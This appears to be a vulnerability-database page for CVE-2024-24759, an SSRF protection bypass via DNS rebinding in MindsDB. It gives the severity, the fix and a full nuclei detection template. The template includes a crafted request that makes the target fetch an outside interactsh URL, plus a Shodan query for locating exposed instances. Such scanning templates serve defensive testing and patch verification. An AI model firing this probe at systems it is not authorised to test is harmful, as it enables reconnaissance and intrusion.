HexBrain

Browse / CVEs / CVE-2024-24759

CVE-2024-24759· mindsdb / mindsdb· CWE-918

MindsDB -DNS Rebinding SSRF Protection Bypass

highseverity
9.1CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Detects DNS rebinding vulnerability that allows bypass of SSRF protection. The vulnerability exists in the URL validation mechanism where DNS resolution is performed without considering DNS rebinding attacks.

Impact

SSRF Protection Bypass via DNS Rebinding

Fix

Upgrade to mindsdb version 23.12.4.2 or later

How to confirm it

Send: GET /
Positive when: contains(tolower(body), "mindsdb")
Send: GET /check_private_url?url=https://{{interactsh-url}}/
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2024-24759 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-24759

info:
  name: MindsDB -DNS Rebinding SSRF Protection Bypass
  author: Lee Changhyun(eeche)
  severity: high
  description: |
    Detects DNS rebinding vulnerability that allows bypass of SSRF protection. The vulnerability exists in the URL validation mechanism where DNS resolution is performed without considering DNS rebinding attacks.
  impact: |
    SSRF Protection Bypass via DNS Rebinding
  remediation: |
    Upgrade to mindsdb version 23.12.4.2 or later
  reference:
    - https://github.com/advisories/GHSA-4jcv-vp96-94xr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-24759
    cwe-id: CWE-918
    epss-score: 0.04936
    epss-percentile: 0.92215
    cpe: cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mindsdb
    product: mindsdb
    shodan-query: title:"mindsdb"
  tags: cve,cve2024,mindsdb,ssrf,dns-rebinding,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "mindsdb")'
        internal: true

  - raw:
      - |
        GET /check_private_url?url=https://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from